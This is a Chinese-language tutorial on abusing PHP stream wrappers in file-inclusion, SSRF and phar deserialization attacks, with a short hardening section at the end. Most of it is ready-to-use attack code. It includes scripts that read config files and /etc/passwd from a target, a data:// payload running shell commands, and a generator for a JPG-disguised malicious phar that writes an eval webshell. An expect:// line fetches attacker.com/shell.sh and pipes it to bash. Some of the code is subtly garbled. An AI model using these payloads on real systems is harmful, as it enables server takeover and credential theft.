一、PHP 支持哪些协议
PHP 的 fopen()、include()、file_get_contents() 等函数不只是支持文件系统路径,还支持一批内置 Wrapper(也叫"伪协议"):
| 协议 | 用途 | 默认启用 |
|---|---|---|
| file:// | 本地文件(默认) | 是 |
| http:// / https:// | HTTP/HTTPS 请求 | 是 |
| ftp:// | FTP | 是 |
| php:// | PHP 运行时流 | 是 |
| data:// | 内联数据 | 是 |
| glob:// | 通配符文件查找 | 是 |
| phar:// | PHP 归档 | 是 |
| expect:// | 执行命令(需扩展) | 否 |
| sql:// | SQL 查询(PDO) | 否 |
| ldap:// | LDAP 查询 | 否 |
| dict:// / gopher:// | 原始协议(需 cURL) | 否 |
安全的 Wrapper 配置(php.ini):
ini allow_url_fopen = On allow_url_include = Off ; 关键!禁止远程文件包含 disable_functions = show_source,highlight_file,assert,system,passthru,exec,shell_exec,popen,proc_open,pcntl_exec open_basedir = /var/www/html ; 限制访问路径
二、php:// 协议家族
2.1 php://filter(最常用)
这是 LFI / SSRF 场景下最有价值 的 Wrapper,可以在包含文件时对其做 编码过滤。
读取文件源码(绕过后缀追加和 PHP 执行)
``
常规 LFI 读 config.php:会被 PHP 解析,返回空
?page=config.php
php://filter 读 config.php:先 base64 编码再"包含"
→ 返回 base64 字符串,不是空
?page=php://filter/convert.base64-encode/resource=config.php
``
实战代码
# php_filter.py - 读取 PHP 文件源码
import requests, base64
LFI = "http://target.com/index.php?page="
def read_source(filename):
# base64 模式
url = f"{LFI}php://filter/convert.base64-encode/resource={filename}"
r = requests.get(url, timeout=5)
# 去掉可能的 PHP warning
import re
m = re.findall(r'[A-Za-z0-9+/]{40,}={0,2}', r.text)
if m:
for b64 in m:
try:
return base64.b64decode(b64).decode('utf-8', errors='ignore')
except:
pass
def read_rot13(filename):
# rot13 模式(也是 PHP 默认支持的)
url = f"{LFI}php://filter/string.rot13/resource={filename}"
r = requests.get(url, timeout=5)
# rot13 可以解开 <?php ... ?> 标签,里面的内容不变
# 浏览器渲染不出 <?php,但能看到纯文本
import codecs
return codecs.decode(r.text, 'rot_13')
# 尝试读取关键配置
TARGETS = [
"../config.php",
"../config/db.php",
"../include/config.inc.php",
"/etc/passwd",
]
for t in TARGETS:
src = read_source(t)
if src:
print(f"
[+] {t}")
print(src[:800])
else:
print(f"[-] {t}")
多重过滤器组合
``
先 base64 解码再编码(多过滤链)
?page=php://filter/convert.base64-decode|convert.base64-encode/resource=config.php
先去掉 <?php 标签(string.strip_tags)再编码
?page=php://filter/string.strip_tags|convert.base64-encode/resource=config.php
``
2.2 php://input
把 POST 请求体当作输入流。
``
需要 allow_url_include=On
?page=php://input
POST body 写
``
如果 allow_url_include=Off,php://input 只能配合 file_get_contents() 读,不能 include。
2.3 php://output
把输出流当作文件写入。某些场景可以用它把内容写到浏览器输出流。
2.4 php://memory / php://temp
内存临时流。配合 file_put_contents() 可以在 PHP 进程里动态创建内容。
2.5 php://stdin / php://stdout / php://stderr
标准输入输出。配合 proc_open() 之类的函数能做命令注入。
三、data:// 协议
内联数据。相当于把一段 base64 字符串当作 PHP 代码执行。
3.1 格式
``
data://mime_type;base64,payload
或
data://mime_type,payload
``
3.2 绕过 RFI
``
需要 allow_url_include=On
?page=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==
base64 解码后 =
``
# data_payload.py
import base64
def build_data_url(php_code):
raw = php_code.encode()
b64 = base64.b64encode(raw).decode()
return f"data://text/plain;base64,{b64}"
# 构造一个 data:// payload
php_code = """<?php
echo "--- PWNED ---
";
echo shell_exec('id');
echo file_get_contents('/etc/passwd');
?>"""
url = build_data_url(php_code)
print(f"Payload: {url}")
print(f"Length: {len(url)}")
data:// 的优势是不依赖外网(不像 RFI 要从 attacker.com 拉文件),但仍需要 allow_url_include=On。
四、glob:// 协议
通配符文件查找。这是绕过扩展名过滤的一个利器!
4.1 基础用法
``
glob:///*/etc/passwd
找出 /tmp 目录下所有 sess_ 开头的文件
glob:///tmp/sess_*
遍历找出 config.php
glob:///**/config.php
``
4.2 利用 glob:// 找 Session 文件
``
某些场景下 glob 能枚举 /tmp 下的 session 文件
然后直接 include 它
?page=glob:///tmp/sess_*
``
4.3 glob:// 自动脚本
# glob_bypass.py
import requests
LFI = "http://target.com/index.php?page="
GLOB_TARGETS = [
"glob:///tmp/sess_*",
"glob:///var/lib/php/sessions/sess_*",
"glob:///**/config.php",
"glob:///**/config.inc.php",
"glob:///**/settings.php",
]
for g in GLOB_TARGETS:
url = f"{LFI}{g}"
r = requests.get(url, timeout=5)
if len(r.text) > 5:
print(f"[+] {g}")
print(r.text[:500])
else:
print(f"[-] {g}")
五、phar:// 协议
PHP 归档文件,常用于反序列化攻击。
5.1 什么是 phar
phar 格式是把多个文件打包成一个 PHP 可直接处理的归档。关键特性是它可以用 phar:// 当作目录来访问:
php <?php include('phar://./archive.phar/shell.php'); // 直接把 phar 包里的某个文件当作代码执行 ?>
5.2 phar + 文件操作 = 反序列化
任何触发文件操作的函数(如 file_exists()、is_dir()、getimagesize()、include()、fopen()),在 PHP 5.x 会自动反序列化 phar 包的 metadata!
这就是著名的 phar 反序列化漏洞。
攻击代码
``php
<?php
// 假设 vuln.php 有文件包含点
class Evil {} // 自定义类,存在 __wakeup / __destruct
$obj = new Evil();
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('shell.txt', '');
$phar->setMetadata($obj); // 关键:把序列化对象塞进 phar
$phar->stopBuffering();
// phar:// 访问时,metadata 会被自动 unserialize()
// 触发 __wakeup -> __destruct 形成 POP 链
?>
``
5.3 生成恶意 phar 的完整脚本
<?php
// gen_phar.php - 生成恶意 phar 包
// 目标:利用 ThinkPHP / YII / Laravel 的 POP 链 RCE
// 示例 POP 链:ThinkPHP 5.x
namespace think {
class Process {
public $files = [];
public function __destruct() {
foreach ($this->files as $f) {
file_put_contents($f['name'], $f['content']);
}
}
}
}
namespace {
$obj = new thinkProcess();
$obj->files = [
['name' => '/var/www/html/shell.php', 'content' => '<?php eval($_POST["c"]); ?>']
];
$phar = new Phar('evil.phar');
$phar->startBuffering();
$phar->addFromString('phar', 'test');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($obj);
$phar->stopBuffering();
// 伪装成 jpg(绕过扩展名检查)
rename('evil.phar', 'evil.jpg');
echo "恶意 phar 已生成: evil.jpg
";
echo "通过 LFI 包含 phar://evil.jpg 触发反序列化
";
}
?>
``
### 5.4 配合 LFI 触发
``
# 假设上传了 evil.jpg,然后用 LFI 包含
?page=phar://./uploads/evil.jpg
# 访问 phar://evil.jpg/任意文件 也能触发 metadata 反序列化
?page=phar://./uploads/evil.jpg/something
``
#### 能触发 phar metadata 反序列化的函数清单
``
include / require / file_get_contents / file_exists / is_readable / is_dir / fopen / copy / unlink / file_put_contents / stat / filesize / getimagesize / mime_content_type / exif_read_data / md5_file / sha1_file / fileinode / finfo_file / imagecreatefromgif / imagecreatefromjpeg / imagecreatefrompng / simplexml_load_file / ...
``
**结论**:只要目标有一个文件操作函数接收用户可控参数,就能打 phar 反序列化。
### 5.5 phar 绕过 open_basedir
``php
<?php
// phar:// 绕过 open_basedir 的经典技巧
// 先创建一个 phar 包含 symlink
$phar = new Phar('bypass.phar');
$phar->addFromString('link', '');
// ... 利用 symlink 或 glob 绕过 open_basedir
// 另一种:配合 auto_prepend_file
putenv('PHAR_TEST');
?>
``
## 六、expect:// 协议
需要安装 `expect` 扩展(非默认)。可以让服务器直接执行命令:
``
?page=expect://id
?page=expect://bash%20-c%20"curl%20attacker.com/shell.sh|bash"
``
这个协议现在极少被用到(expect 扩展基本没人装了),但如果装了,就等于给 LFI 装了一个直接 RCE 的后门。
## 七、Wrapper 组合拳实战
### 7.1 SSRF + php://filter 读取内网 PHP 源码
``
# SSRF 到内网某台机器的 php 文件
?url=php://filter/convert.base64-encode/resource=file:///etc/passwd
# 或者
?url=gopher://inner-host:80/_GET%20/config.php%20HTTP/1.1%0d%0aHost:%20inner-host%0d%0a%0d%0a
``
### 7.2 LFI + phar:// = 反序列化 RCE
``
# 完整攻击链
[1] 生成恶意 phar.jpg
[2] 上传(用文件上传绕过)
[3] LFI 触发:?page=phar://./uploads/phar.jpg
[4] metadata 被反序列化 -> POP 链执行 -> 写 WebShell
``
### 7.3 文件包含 + data:// = 即时 RCE
``
# 某些 allow_url_include=On 的老环境
?page=data://text/plain;base64,PD9waHAgcGFzc3RocnUocG9zdC9nZXQoJ2MnKSk7ID8+
# 配合 POST data c=phpinfo();
``
### 7.4 利用 glob:// 绕过正则过滤
``
# 假设防护对 page 参数做了正则:^[a-zA-Z0-9_-]+$
# glob:// 协议格式是 glob://path
# glob:///tmp/sess_* 符合 ^[a-zA-Z0-9:_/.*-]+$ 之类宽松正则
``
## 八、防御:彻底干掉危险 Wrapper
### 8.1 php.ini 配置
``ini
; ========= 最关键的几行 =========
allow_url_fopen = Off
allow_url_include = Off
disable_functions = show_source,highlight_file,assert,system,passthru,exec,shell_exec,popen,proc_open,pcntl_exec,dl,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir = /var/www/html:/tmp:/var/www/data
; phar:// 无法单独禁用,但配合上面的就够了
; 禁用 expect 扩展
; 在 php.ini 注释掉 extension=expect.so
``
### 8.2 运行时禁用 Wrapper
``php
<?php
// 动态移除危险 Wrapper
stream_wrapper_unregister('data');
stream_wrapper_unregister('http');
stream_wrapper_unregister('https');
stream_wrapper_unregister('ftp');
stream_wrapper_unregister('ftps');
stream_wrapper_unregister('php');
stream_wrapper_unregister('glob');
stream_wrapper_unregister('phar');
// 注意:php://filter 也被禁了
?>
``
### 8.3 代码层白名单
``php
<?php
// 不要 include 任意路径,白名单 + realpath
$page = $_GET['page'] ?? 'home';
$allowed = ['home', 'about', 'contact'];
if (!in_array($page, $allowed)) die('非法参数');
$target = realpath(__DIR__ . "/pages/$page.php");
if (!$target || strpos($target, __DIR__ . '/pages') !== 0) die('非法路径');
include $target;
?>
``
## 九、各 Wrapper 攻击能力总结
| 协议 | 读文件 | 执行代码 | 绕过 open_basedir | 需前置 | 危险等级 |
|------|--------|---------|-------------------|--------|---------|
| php://filter | ✓(base64/rot13) | ✗ | ✗ | 有文件包含 | ★★★★ |
| php://input | ✗ | ✓ | ✗ | allow_url_include | ★★★★★ |
| data:// | ✗ | ✓ | ✗ | allow_url_include | ★★★★ |
| glob:// | ✗ | ✗ | ✗ | 无 | ★★ |
| phar:// | ✗(触发反序列化) | 可 | ✓ | 上传恶意 phar | ★★★★★ |
| expect:// | ✗ | ✓ | ✗ | 装 expect 扩展 | ★★★★ |
| file:// | ✓(本地) | ✗ | ✗ | 有文件包含 | ★★★ |
| http:// | ✓(远程) | ✗ | ✗ | allow_url_fopen | ★★ |
### 结论
**php://filter** 是 LFI 场景下最通用的武器(读任意文件源码),**phar://** 是反序列化场景下最爆炸的武器(RCE),**data://** 是 allow_url_include=On 时的秒杀武器。